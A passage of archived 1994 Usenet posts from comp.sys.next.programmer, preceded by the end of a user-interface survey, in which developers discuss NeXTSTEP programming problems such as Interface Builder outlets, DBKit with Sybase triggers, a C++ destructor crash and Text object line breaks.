Richard; Hersh, Harry: The Human Factor: Designing Computer Systems for People [ ] Salvendy, Gavriel (Ed.): Handbook of Human Factors [ ] Shneiderman, Ben: Designing the User Interface: Strategies for Effective Human-Computer Interaction (Second Edition) [ ] Smith, Sidney L.; Mosier, Jane N.: Guidelines for Designing User Interface Software [ ] Thimbleby, Harold: User Inteface Design [ ] Tognazini, Bruce: TOG on Interface [ ] other (please name): => 32. I am interested in the evaluation results of this survey: < > Yes, please send me the results. < > No, I am not. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<cut here>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- All questions answered? Then please return via email to dammert@informatik.uni-stuttgart.de Thank you for your time J. Dammert -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- | Dipl.-Inform. Juergen Dammert | | Stuttgart University * Research Institute on | | // ,============= Parallel and Distributed Supercomputers (IPVR) | | // (( ,-=== Department of Integrated System Engineering (ISE) | | // `==, //___ Breitwiesenstrasse 20-22 | | // )) // D-70565 Stuttgart * Germany | | ==========' `=== Tel: +49 711 7816 396 * Fax: +49 711 7816 250 | | e-mail: dammert@informatik.uni-stuttgart.de | `=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-='
From: hadar@nic.cerf.net (Hadar Pedhazur) Newsgroups: comp.sys.next.programmer Subject: NXNetNameServer wilcarding? Date: 7 Jun 1994 02:00:59 -0700 Organization: CERFnet Dial n' CERF Customer Message-ID: <2t1d0b$mjn@nic.cerf.net> I have a family of DOs which all register themselves with the name server with some pattern (e.g., Server1, Server2 ... ServerN). I can clearly check the existence of any ONE server at a time by calling the NXNetNameServer methods. However, I am interested in getting a list of all the servers which are currently active, and to do this I would like to ask the name server what ALL the registered names are and then do some regular expression parsing on the result in order to determine the active servers. This does not seem possible to me. Is it?
Newsgroups: comp.sys.next.programmer From: rolf@rolfhh.hanse.de (Rolf Woehrmann) Subject: No NXSoundPboardType Services Message-ID: <Cr017r.7oC@rolfhh.hanse.de> Sender: usenet@rolfhh.hanse.de Organization: Rolf Woehrmann, Hamburg, Germany Date: Mon, 6 Jun 1994 23:28:39 GMT (Please excuse my bad English.) The problem concerns applications which can use NXSoundPboardType services. Their services menu never get any items regarding sound services. In fact no application - whether custom or commecial - which makes use of the SoundView class can get any sound service. Needless to say that I've correctly used the registerServiceMenuSendTypes:andReturnTypes: method. But for all other pasteboard types it works well. Also the service provider declare their sound service correctly. All their services are mentioned in the services section of the Preferences.app. Their services.text sections in the ICON segment are correct. I'm using NS 3.2 on black hardware. All worked well in NS 3.0. So what's going on? Is it a bug in NS 3.2 ? Is anybody using sound services in NS 3.2 sucessfully? rolf@rolhh.hanse.de Rolf Woehrmann _________________________ E-mail: rolf@rolfhh.hanse.de Wrangelstrasse 105 B _____________________________ (NeXTmail welcome) 20253 Hamburg __________________________ Voice: + 49 / 40 / 422 49 10 Germany __________________________________ FAX: + 49 / 40 / 422 49 10
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: reading a directory Message-ID: <1994Jun7.081926.308@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <MhvDdG600WBN05X3Z=@andrew.cmu.edu> Date: Tue, 7 Jun 94 08:19:26 GMT In article <MhvDdG600WBN05X3Z=@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes: > Excerpts from netnews.comp.sys.next.programmer: 31-May-94 Re: reading a > directory by Simon Harris@lgclmdl.dem > > In article <2rlmuh$1qr@taco.cc.ncsu.edu> > > eagle@nest.catt.ncsu.edu "Daniel C. L'Hommedieu" writes: > > > > > figure out how to do this. I'm wanting to read a directory, and have my > > > program get all the filenames so I can parse them. > > > > > > Under DOS (Turbo C++), I had "findfirst" and "findnext"...but I can't > > > find anything equivalent under UNIX. I thought about exec'ing "ls -l" > > > > try "man 3 ftw" ftw will give you programatic access to sort of facility > > that find(1) and ls -R(1) give you. > > How about taking a look at the opendir(), readdir(), etc functions? > How about scandir() ? Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
Newsgroups: comp.sys.next.programmer From: jafri!ajafri (Amir Jafri) Subject: Problems running program with root permissions Message-ID: <Cr0KBr.tB@jafri.uucp> Sender: ajafri@jafri.uucp (Amir Jafri) Date: Tue, 7 Jun 1994 06:21:26 GMT Hi! I was wondering if someone out there could shed some light on this problem that I'm having. I'm trying to get a program to run wth root permissions. I set the setuid bit, and changed the owner to root, but that did not help. The program still acts as if it is executing with the users permissions and not root permissions. If it makes any difference, the program includes some unix system calls. I don't know if that illustrates my problem well enough. If anyone needs more details, I could email them. Thanks, Regards, Amir. -- Amir Jafri jafri!ajafri@uunet.ca NeXTmail OK
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: PB question? When does header dim? Date: 06 Jun 1994 22:51:59 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94Jun6235159@steffi.demon.co.uk> Under what circumstances does the "just added" header dim in PB's Headers browser? I thought it was just wether the file existed or not that determined wether it dimmed or not but I have a file that I've added that also exists but it's dimmed. In answer to my previous question re: Adding files to PB in code... Thanks to Jim Million for the idea and to Carl Edman for making it so simple to implement. (save-buffer) (ns-perform-service "Project/Add To" (buffer-file-name)) Now my elisp code behaves exactly like IB when the classes are generated. -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: crontab Message-ID: <1994Jun5.192451.2295@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <neuss.770476941@budlight> Date: Sun, 5 Jun 1994 19:24:51 GMT I recommend making changes to /etc/crontab.local since your changes will be localized. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <neuss.770476941@budlight> neuss@igd.fhg.de (Christian Neuss ) writes: > tuparev@EMBL-Heidelberg.DE (Georg Tuparev) writes: > > >On SGI or SUN there is a commant called crontab > > >---------------- > >NAME > > crontab - user crontab file > > If you just want to change the crontab, edit /usr/lib/crontab > as root. > > Chris > -- > "I ride a tandem with the random.." > Christian Neuss # Fraunhofer Institute for Computer Graphics > Wilhelminenstr.7 # 64283 Darmstadt # Germany > e-mail: neuss@igd.fhg.de finger: neuss@wildturkey.igd.fhg.de
Newsgroups: comp.sys.next.programmer From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: malloc_debug() and MallocDebug Message-ID: <1994Jun6.004228.24844@pcp.ca> Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. Date: Mon, 6 Jun 94 00:42:28 GMT Group: My original question was whether it was possible to use the malloc_debug() system call with the MallocDebug application. It turns out that the two are mutually exclusive. Thanks for all the prompt replies. Alex Nghiem_Alex@pcp.ca alex@oolesson.com
From: chris@iastate.edu (Chris Wong) Newsgroups: comp.sys.next.programmer Subject: cellList returns a List object or the id of the list? Date: 6 Jun 1994 04:13:15 GMT Organization: Iowa State University, Ames, Iowa (USA) Message-ID: <2su7or$c9v@news.iastate.edu> I'm a little bit confused when I read the documentation of Matrix class. What exactly will the instance method cellList of the Matrix class return? A List object or the id of the List object? If it returns a List object, would that List object be freed automatically when it goes out of scope? e.g, - foo:sender { id fooList; fooList = [fooMatrix cellList]; bla bla bla; return self; } Thanks for any clarification. Chris -- NeXTMail super welcomed!!| Chris Wong | "Hardware is supposed to serve Software." chris@iastate.edu | Computer Engineering & Computer Science <:)>:)<:)>:)<:)>:)<:) | Iowa State University of Science and Technology
Newsgroups: comp.sys.next.programmer From: freeband@netcom.com (Nick Porcaro) Subject: zooming in Draw Message-ID: <freebandCqyK4u.8xq@netcom.com> Organization: NETCOM On-line Communication Services (408 261-4700 guest) Date: Mon, 6 Jun 1994 04:22:05 GMT Hey net-oids: Has anyone ever tried to implement a zoom feature in Draw? I looked at the GraphPaper example and tried applying that idea, but since Draw does not use the View hierarchy (all drawing is done in one view), it gets a little tricky. Any help would be greatly appreciated --- - Nick
From: toon@omnigroup.com (Greg Titus) Newsgroups: comp.sys.next.programmer Subject: Re: IB assymetry; funny business afoot? Date: 4 Jun 1994 20:46:54 GMT Organization: Omni Development, Inc. Message-ID: <2sqp7u$ef9@fungusaur.wizards.com> References: <1994Jun4.031708.4378@alw.nih.gov> Howard Smith writes > > Under 3.2; > > I just noticed the that the outlet previousText does > NOT appear in the IB TextField Inspector->Connections. > The outlets nextText, previousText and textDelegate are all > defined in TextField.h, however previousText is the only > outlet to not show up. > > Is this an omission in the TextField Inspector? > Or is there some other IB funny business Im unaware of? > Basically this is IB funny business. For classes you add to IB, it goes and parses through the header file you give it and then saves the superclass, outlets, and actions to data.classes inside your NIB file. However, for the classes that IB starts out knowing about (the appkit classes, et cetera) IB looks at a file called classes.table inside its app wrapper, which is in the same format as a NIB's data.classes file. In that file you'll find: TextField = { SUPERCLASS = Control; OUTLETS = {nextText; textDelegate;}; ACTIONS = {"selectText:";}; }; So somebody decided that you never needed to set previousText, and took it out of the classes.table (or never put it in in the first place.) If you want to be able to set the previousText outlet for some reason, you can just find this section of classes.table, add the outlet, and restart IB, although I don't know why you'd want to do this. -Greg > > -- > > Howard C. Smith > National Institute of Environmental Health Sciences > 111 T.W. Alexander Drive > Research Triangle Park, NC 27709 > smith@nextone.niehs.nih.gov > (919) 541-7594 > /// I have seen the future and it is Channel 3, or was it 4? \\\ Greg Titus Omni Development Inc. toon@omnigroup.com
From: toon@omnigroup.com (Greg Titus) Newsgroups: comp.sys.next.programmer Subject: Extending connections in IB Date: 4 Jun 1994 21:10:15 GMT Organization: Omni Development, Inc. Message-ID: <2sqqjn$f1e@fungusaur.wizards.com> I've been working on a framework to extend the connection inspector in IB to make it possible for programmers to write their own connection types and have them interoperate with normal outlet and target-action connections. For example, classes with multiple target-action outlets, list outlets, et cetera. Anyway, I'm looking for people who have run into situations where it would've been convenient to have connectors that acted differently to see if my framework is general enough to support what they need. I remember a couple posts a while back about COWS and WaveWorld on this topic, but didn't save them at the time. Anyone have any desire to see lists, double-target-action, et cetera supported in IB? --Greg ------ Greg Titus Omni Development Inc. toon@omnigroup.com
From: avery@ccrma.Stanford.EDU (Avery Wang) Newsgroups: comp.sys.next.programmer Subject: C++ delete bugs?? Date: 4 Jun 1994 22:06:56 GMT Organization: Stanford University Message-ID: <2sqtu0$3ib@nntp2.Stanford.EDU> Hi, I am using the native C++ on the NeXT, bundled with NS3.2. I keep getting these weird memory exception errors when deleting large, dynamically allocated objects. I went in using gdb and found that apparently, C++ expects memory to be allocated contiguously. Here is where the problem occurs: inline extensible_array_float::~extensible_array_float() { // Destructor int i; for(i=0;i<num_buffers;i++){ delete [] slots_ptr[i]; } free(slots_ptr); } This is what GDB says is the disassembled code: 0x16af4 <_$_22extensible_array_float>: linkw fp,#-4 0x16af8 <_$_22extensible_array_float+4>: moveml d2-d3/a2,sp@- 0x16afc <_$_22extensible_array_float+8>: moveal fp@(8),a2 0x16b00 <_$_22extensible_array_float+12>: movel fp@(12),d2 0x16b04 <_$_22extensible_array_float+16>: clrl fp@(-4) 0x16b08 <_$_22extensible_array_float+20>: movel fp@(-4),d3 0x16b0c <_$_22extensible_array_float+24>: cmpl a2@(8),d3 0x16b10 <_$_22extensible_array_float+28>: bge 0x16b5a <_$_22extensible_array_float+102> 0x16b12 <_$_22extensible_array_float+30>: movel fp@(-4),d0 0x16b16 <_$_22extensible_array_float+34>: movel d0,d1 0x16b18 <_$_22extensible_array_float+36>: asll #2,d1 0x16b1a <_$_22extensible_array_float+38>: moveal a2@,a0 0x16b1c <_$_22extensible_array_float+40>: tstl 0(a0)[d1.l] 0x16b20 <_$_22extensible_array_float+44>: beq 0x16b54 <_$_22extensible_array_float+96> 0x16b22 <_$_22extensible_array_float+46>: movel fp@(-4),d0 0x16b26 <_$_22extensible_array_float+50>: movel d0,d1 0x16b28 <_$_22extensible_array_float+52>: asll #2,d1 0x16b2a <_$_22extensible_array_float+54>: moveal a2@,a0 0x16b2c <_$_22extensible_array_float+56>: moveal 0(a0)[d1.l],a1 0x16b30 <_$_22extensible_array_float+60>: subqw #8,a1 0x16b32 <_$_22extensible_array_float+62>: movel a1@,d0 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ a1 points to unallocated memory if 0(a0)[d1.l],a1 is the first element of an array which is allocated immediately after an unallocated page. For example, I have 256 floats, and the troublesome array pointer slots_ptr[i]=0x2ab4004, which looks like: 0x2ab4000: 0x00000404 0x428bba3f 0x428bb867 0x428bb685 0x2ab4010: 0x428bb4aa 0x428bb2ca 0x428bb0e3 0x428baf0a Thus, the data at 0x2ab4000 is the length of the block, and the following data are float numbers. Now, the page preceeding, i.e., 0x2ab2000-0x2ab3fff is not allocated. Therefore, the indicated instruction bombs since it is attempting to read from $0x2ab3ffc. It seems to me that the destructor, as compiled by gcc, does not take discontiguous memory into account. I would say that this is a bug in gcc. Anyone have any clues or comments? Here is the rest: 0x16b34 <_$_22extensible_array_float+64>: movel d0,d1 0x16b36 <_$_22extensible_array_float+66>: asll #2,d1 0x16b38 <_$_22extensible_array_float+68>: movel d1,sp@- 0x16b3a <_$_22extensible_array_float+70>: movel fp@(-4),d0 0x16b3e <_$_22extensible_array_float+74>: movel d0,d1 0x16b40 <_$_22extensible_array_float+76>: asll #2,d1 0x16b42 <_$_22extensible_array_float+78>: moveal a2@,a0 0x16b44 <_$_22extensible_array_float+80>: movel 0(a0)[d1.l],sp@- 0x16b48 <_$_22extensible_array_float+84>: bsrl 0x23654 <__builtin_delete> 0x16b4e <_$_22extensible_array_float+90>: addqw #8,sp 0x16b50 <_$_22extensible_array_float+92>: bra 0x16b54 <_$_22extensible_array_float+96> 0x16b54 <_$_22extensible_array_float+96>: addql #1,fp@(-4) 0x16b58 <_$_22extensible_array_float+100>: bra 0x16b08 <_$_22extensible_array_float+20> 0x16b5a <_$_22extensible_array_float+102>: movel a2@,sp@- 0x16b5c <_$_22extensible_array_float+104>: bsrl 0x5002546 <libsys_s.B.shlib_jmp_table+1350> etc. (This code has obviously been compiled without optimization) Thanks in advance, Avery Wang avery@ccrma.stanford.edu CCRMA (Center for Computer Research in Music and Acoustics) 660 Lomita Dr. Fax: +1 (415) 723-8468 Stanford, CA 94305 Tel: +1 (415) 364-5002
From: toon@omnigroup.com (Greg Titus) Newsgroups: comp.sys.next.programmer Subject: Re: text object -- how to add return characters to line breaks? Date: 4 Jun 1994 21:39:09 GMT Organization: Omni Development, Inc. Message-ID: <2sqs9t$fo0@fungusaur.wizards.com> References: <1994Jun4.125243.406@prim.demon.co.uk> Dave Griffiths writes > In article <2so44pINNa45@no-names.nerdc.ufl.edu> pgriffin@phys.ufl.edu writes: > > > >Does anyone out there have a suggestion for how to "elegantly", and > >within the context of the text object, add real return characters to > >the end of a line break, or force a return after a certain amount of > >characters at word boundaries? The only thing I can think of is > >a bit grungy. > > Well the way I did it, and almost certainly the way Mail and Newsgrazer do > it, is not to insert returns at the end of lines, but to massage the text > manually afterwards. > [code removed] Just for contrast, here is some equally grungy code that does things inside the text object. It uses the line break structure that the text object keeps track of to find where any soft-breaks are, then goes back and replaces them with hard-returns. It doesn't fix up any long lines, like the previous code, it makes it so visually the text object displays exactly the same way it did before. (except the selection moves) @implementation Text (additionalStuff) - insertHardReturns:sender; { NXLineDesc *breakPtr; int chars; // characters on the line int offset; // all characters so far BOOL end; // end of paragraph int *returns; // offsets to insert returns int line; breakPtr = theBreaks->breaks; returns = calloc(theBreaks->chunk.used / sizeof(NXLineDesc), sizeof(int)); offset = 0; line = 0; while (1) { // get characters in line chars = (*breakPtr & 0x3fff); // check paragraph end bit end = ((*breakPtr >> 14) & 1); // check height change bit // this is ugly because we have to fix up our pointer if ((*breakPtr >> 15) & 1) breakPtr = (NXLineDesc *) (((char *)breakPtr) + sizeof(NXHeightChange)); else breakPtr++; offset += chars; // if there isn't a hard-return already... if (!end) { returns[line++] = offset; } if (offset >= [self textLength]) break; } // Actually put in the return characters needed while(line--) { [self setSel:returns[line]:returns[line]]; [self replaceSel:"\n"]; } free(returns); return self; }
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: (If you don't support it then why use it?) Was: Re: BUG: NXMapFile() Date: 05 Jun 1994 16:33:01 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Jun5173301@steffi.demon.co.uk> References: <9406051423.AA01449@flexus> To: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) In-reply-to: flexus!rfschtkt@maze.ruca.ua.ac.be's message of 5 Jun 1994 09:38:24 -0500 >- ``The problem is that NX_FREEBUFFER isn't documented. (therefore, I can't >guarantee that we support it...'' Now this is funny. Do you actually mean to >say that when NeXT documents something, they support it?! What a joke, I must >remember that! Rather than getting all stroppy about things let me just say this...re: that quote... The following MiniExamples contain the word NX_FREEBUFFER AppKit/ConvertXYtoChar AppKit/Grabber AppKit/StringList AppKit/TIFFandEPS AppKit/TTools AppKit/TextORama DBKit/BarChart The following /NextDeveloper/Examples also make use of NX_FREEBUFFER AppKit/Draw AppKit/BusyBox AppKit/ColorTest AppKit/ImageFilter AppKit/VideoApp AppKit/Yap AppKit/Graph 3DKit/Simple So perhaps if you "cannot guarantee that we support it" you had better instruct your developers accordingly. Please see that the author of that quote sees this message. A clarification from Ali would be preferable. -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: spark@io.org (Scott Parkinson) Newsgroups: comp.sys.next.programmer Subject: Vector or MIDI Objects anyone? Date: 7 Jun 1994 21:37:24 -0000 Organization: Internex Online (io.org) Data: 416-363-4151 Voice: 416-363-8676 Message-ID: <2t2pak$7m7@ionews.io.org> Oh programming Gurus, In an effort not to recreate the wheel (seeing as how we are Object Oriented) I would like to know if anyone has: 1. designed a simple Midi object that may use the NeXT MIDI functions to send and receive MIDI information to various MIDI devices; or 2. designed a Vector object. If anyone has suggestions, code or places to ftp they can post or email me. I will tabulate and post any answers at the end of my quest. Thanks in advance. -parko
From: kampp@informatik.uni-koblenz.de (Ralf Kampp) Newsgroups: comp.sys.next.programmer Subject: Unloading Modules destroys objects Date: 8 Jun 1994 11:54:52 GMT Organization: University Koblenz / Germany Message-ID: <2t4bic$c8b@newshost.uni-koblenz.de> Keywords: module Hello out there ! I have a little problem: I dynamically need to load modules and when I load the next one, I need to unload the previous one. So I use the functions objc_loadModules() and objc_unloadModules() (because bundles can't unload code). BUT: The unloading destroys an object, that doesn't even have anything to do with the unloaded module !!! That object simply becomes unusable and the program crashes when referencing this object !!! Did anyone happen to have similar problems and can help me ??? Thanks Ralf
From: hitt@Xenon.Stanford.EDU (Daniel Hitt) Newsgroups: comp.sys.next.programmer Subject: gcc 2.5.8 on NextStep 2.0 Date: 8 Jun 1994 12:14:15 GMT Organization: Computer Science Department, Stanford University. Sender: hitt@cs.stanford.edu Message-ID: <2t4cmn$mq4@Times.Stanford.EDU> Summary: has anyone installed it? any reason one can't? Keywords: gcc 2.5.8, NS 2.0 Has anyone actually installed gcc 2.5.8 on a system running 2.0? Is there any intrinsic reason one could not do so? (I'm not so interested in moving to 3.0 or 3.1 or whatever because i have a lot of software in 2.0, and i'm satisfied with 2.0. But i would like gcc++.) Thanks for any experience anyone can share. dan hitt@cs.stanford.edu
Newsgroups: comp.sys.next.programmer From: winfstu@dutiec.twi.tudelft.nl (Sylvia Stuurman) Subject: introduction to Indexing Kit Message-ID: <Cr2xsB.LD@dutiws.twi.tudelft.nl> Sender: news@dutiws.twi.tudelft.nl (TWI News Administration) Organization: Delft University of Technology Date: Wed, 8 Jun 1994 13:07:22 GMT Does anyone know a quick introduction to the Indexing Kit? I have already seen the introduction in the General Referenc (and the introduction in the Objective C FAQ which is the same), but this is not enough for me to be able to use it. What I also did is take a look at the examples. With trial and error I seem to crawl on, so if anyone knows a quicker way to get used to the Kit I would be very glad! Sylvia Stuurman, Delft University of Technology
From: msm@safesurfer.pencom.com (Mark S Mertel) Newsgroups: comp.sys.next.programmer Subject: Re: Problem using Sybase triggers and DBKit Date: 8 Jun 1994 15:01:49 GMT Organization: Pencom Sofware Message-ID: <2t4mgt$gkg@digdug.pencom.com> References: <1994Jun7.180206.418@il.us.swissbank.com> In article <1994Jun7.180206.418@il.us.swissbank.com> ericb@il.us.swissbank.com (Eric_Brown) writes: > Here's the problem that I am having: > > In my Sybase triggers (specifically insert and update triggers), I perform > consistency checks to maintain referential integrity (i.e. make sure all > foreign key values exist in their respective tables). If the foreign lookup > fails, I do a raiserror with an appropriate error message and then rollback the > transaction. > > The problem is that even with the raiserror and rollback, my DBFetchGroup > (within a DBModule) still thinks the -saveChanges succeeded. The > -fetchGroup:willFailForReason: delegate method is never called and the return > value from [module saveChanges:self] is non-nil. > > I have a definite need to know whether or not a -saveChanges fails. > > Any suggestions? > > -- -- Are you sure you are using raiserror within the trigger ? This should not be possible unless you calling a proc. At any rate, have you tried using the DBDatabase delegate method db:notificationFrom:message:code: . I haven't used it yet, but it looks like something similar to the dberrhandler which I have used for this type of thing. -- Mark Mertel Email: msm@pencom.com Pencom Software Phone: (512) 343-6666 9050 Capital of Texas Hwy. N. FAX: (512) 343-9650 Austin, TX 78759
From: armes@pioneer.tds.com (Jim Armes) Newsgroups: comp.sys.next.programmer Subject: Re: DBModule saveChanges: last record not deleted (Solution) Date: 8 Jun 1994 03:58:42 GMT Organization: Trident Data Systems Distribution: world Message-ID: <2t3fli$jmm@discovery.ectds.com> References: <1994Jun1.094530.1114@dart.de> Keywords: dbkit dbmodule savechanges nextstep In article <1994Jun1.094530.1114@dart.de> Atze (Alexander Spohr) writes: > If you have a DBRecordList which isModified because you deleted the last > record, DBModules saveChanges: will not save this DBRecordList. The > DBFetchGroup which is responsible for the DBRecordList "forgets" to tell it to > saveModifications. > Here is a workaround which should be implemented by a Controller for the > DBModule. However, the delegates of DBModule and DBFetchGroup are informed > about the normal stuff inside [dbmodule saveChanges:self]. All special cases > (deletion of last record) will only inform the delegate of the DBRecordList. > Sorry for that. > -- > Alexander Spohr, Hamburg, Germany > Alexander_Spohr@DART.de (Mail ) Faces and faces > (+49) 40 / 380 23-0 (Sound) See them and complain not > (+49) 40 / 380 23-290 (Fax ) And am content with all I used the delegate method moduleDidSave: on my controllers, then cycle through the fetchgroups and check each recordlist for remaining modifications, then save. It hasn't failed yet. - moduleDidSave: module { id tempList = [[List alloc] init]; id recListPointer; int cycle; [module getFetchGroups:tempList]; for (cycle =0;(cycle<[tempList count]);cycle++) { recListPointer = [[tempList objectAt:cycle] recordList]; if ( [recListPointer isModified] ) { [recListPointer saveModifications]; } } [tempList empty]; [tempList free]; return self; } -- #--------------------------------------------------------# # Jim Armes | I've got a Pentium and you do not # # Matrix-Man | nahh nahh nah nah nahhhh... # # | # #Trident Data Systems| but IiiiiM a lumberjack and I'm ok# # armes@tds.com |I sleep all night & I work all day.#
Newsgroups: comp.sys.next.programmer From: img@ai.ed.ac.uk (Ian Green) Subject: Re: gcc 2.5.8 & Kernel docs wanted In-Reply-To: hitt@Xenon.Stanford.EDU's message of 8 Jun 1994 12:14:15 GMT Message-ID: <IMG.94Jun8162352@achtriochtan.ai.ed.ac.uk> Sender: news@aisb.ed.ac.uk (Network News Administrator) Organization: University of Edinburgh References: <2t4cmn$mq4@Times.Stanford.EDU> Date: Wed, 8 Jun 1994 16:23:52 GMT I came up with some patches for 2.1, but then Ch. Kranz did a better job, so I used his (gcc 2.5.8). I dunno if there is much difference between 2.0 and 2.1, sorry. ftp them from dream.dai.ed.ac.uk:pub/misc/next/* While I'm here, where do I find documentation on the table system call? And kernel symbols like avenrun, cp_time etc? please email too. -- ian hitt@Xenon.Stanford.EDU (Daniel Hitt) wrote: > NNTP-Posting-Host: xenon.stanford.edu > Has anyone actually installed gcc 2.5.8 on a system running 2.0? > Is there any intrinsic reason one could not do so? > (I'm not so interested in moving to 3.0 or 3.1 or whatever because > i have a lot of software in 2.0, and i'm satisfied with 2.0. > But i would like gcc++.) > Thanks for any experience anyone can share. > dan > hitt@cs.stanford.edu
Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Re: Problem using Sybase triggers and DBKit Message-ID: <1994Jun8.165033.11899@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2t4mgt$gkg@digdug.pencom.com> Date: Wed, 8 Jun 1994 16:50:33 GMT Mark S Mertel writes > In article <1994Jun7.180206.418@il.us.swissbank.com> > ericb@il.us.swissbank.com (Eric_Brown) writes: > > Here's the problem that I am having: > > > > In my Sybase triggers (specifically insert and update triggers), I > perform > > consistency checks to maintain referential integrity (i.e. make sure all > > foreign key values exist in their respective tables). If the foreign > lookup > > fails, I do a raiserror with an appropriate error message and then > rollback the > > transaction. > > > > The problem is that even with the raiserror and rollback, my > DBFetchGroup > > (within a DBModule) still thinks the -saveChanges succeeded. The > > -fetchGroup:willFailForReason: delegate method is never called and the > return > > value from [module saveChanges:self] is non-nil. > > > > I have a definite need to know whether or not a -saveChanges fails. > > > > Any suggestions? > > > > -- > -- > Are you sure you are using raiserror within the trigger ? This should not > be possible unless you calling a proc. At any rate, have you tried using > the DBDatabase delegate method db:notificationFrom:message:code: . I > haven't used it yet, but it looks like something similar to the > dberrhandler which I have used for this type of thing. > -- Yes, I am using raiserror within a trigger and it works fine. The information from the raiserror does get to the -db:notificationFrom:message:code:, but the problem is that for user defined error messages, DBKit does not recognize that an error occurred and continues as if the operation succeeded. So, even though I know that the operation failed because of an error, the DBRecordList thinks that it just saved its data and prevents me from trying to save it again. Ack... I really hope I don't have to move all of my referential integrity checking (and other validation) code into my application. The database (in triggers) is a much more appropriate place for this especially since there is more than one application that will be using it. -- _______________________________________________________________ / Eric Brown | The opinions expressed here \ | NEXTSTEP Consultant | are mine and do not necessarily | | CG Computer Services | represent those of my employer | | ericb@il.us.swissbank.com | or SBC. | \___________________________|___________________________________/
Newsgroups: comp.sys.next.programmer From: brad@instep.wimsey.bc.ca Subject: Re: NXNetNameServer wilcarding? Message-ID: <1994Jun8.181309.7356@instep.wimsey.bc.ca> Sender: usenet@instep.wimsey.bc.ca Organization: InStep Mobile Communications Inc. References: <2t1d0b$mjn@nic.cerf.net> Date: Wed, 8 Jun 1994 18:13:09 GMT In article <2t1d0b$mjn@nic.cerf.net> hadar@nic.cerf.net (Hadar Pedhazur) writes: > I have a family of DOs which all register themselves with the name > server with some pattern (e.g., Server1, Server2 ... ServerN). I can > clearly check the existence of any ONE server at a time by calling > the NXNetNameServer methods. However, I am interested in getting a list > of all the servers which are currently active, and to do this I would > like to ask the name server what ALL the registered names are and then > do some regular expression parsing on the result in order to determine > the active servers. This does not seem possible to me. Is it? Use the sames NXNetNameServer method you'd use to check for existance for ServerN, but loop around until nil is returned. Add them to the list: char name[50]; unsigned i = 0; sprintf(name, "Server%d", i); while (port = [NXNetNameServer lookUpPortWithName:name onHost:"*"]) { // add to your list whatever is interesting... // maybe attempting to connect using NXConnection class // may be more appropriate... // We assume "active" server meaning a server that is STILL currently // registered with the name server... sprintf(name, "Server%d", ++i); } -- brad.
Newsgroups: comp.sys.next.programmer From: karl@trapac.com (Karl Kraft) Subject: Re: DBKit : adding a "distinct" keyword before the properties ? Message-ID: <Cr3Hrq.EtA@trapac.com> Sender: karl@trapac.com (Karl Kraft) Organization: Trans Pacific Container Service Corporation References: <Cqz67K.Aos@eunet.ch> Date: Wed, 8 Jun 1994 20:19:02 GMT In article <Cqz67K.Aos@eunet.ch> lamb@eqt.ch (Alexander Lamb) writes: > Hi, > > Has anyone managed to add the "distinct" keyword before the properties in > a Sybase query using the DBKit at a record list level ? > > For example : > > select distinct a, b, c from aTable where .... Short and simple: [myBinder setIgnoresDuplicateResults:YES]; -- Karl Kraft Karl_Kraft@trapac.com Karl_Kraft@ensuing.com [My opinions are my own]
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Does NS have a trace? Date: Thu, 9 Jun 1994 12:35:08 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <shxoGwS00iUzA3SCR_@andrew.cmu.edu> In-Reply-To: <vrotneyCr4DpI.8BA@netcom.com> Excerpts from netnews.comp.sys.next.programmer: 9-Jun-94 Does NS have a trace? by William Paul Vrotney@net > On a Sun there is a command "trace" for tracing the execution of progam > system calls. Is there a similar command for NEXTSTEP? Yes, called ptrace. It's not supported, but you can glean a lot of information about what it does by looking through the source to NeXT's version of gdb. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
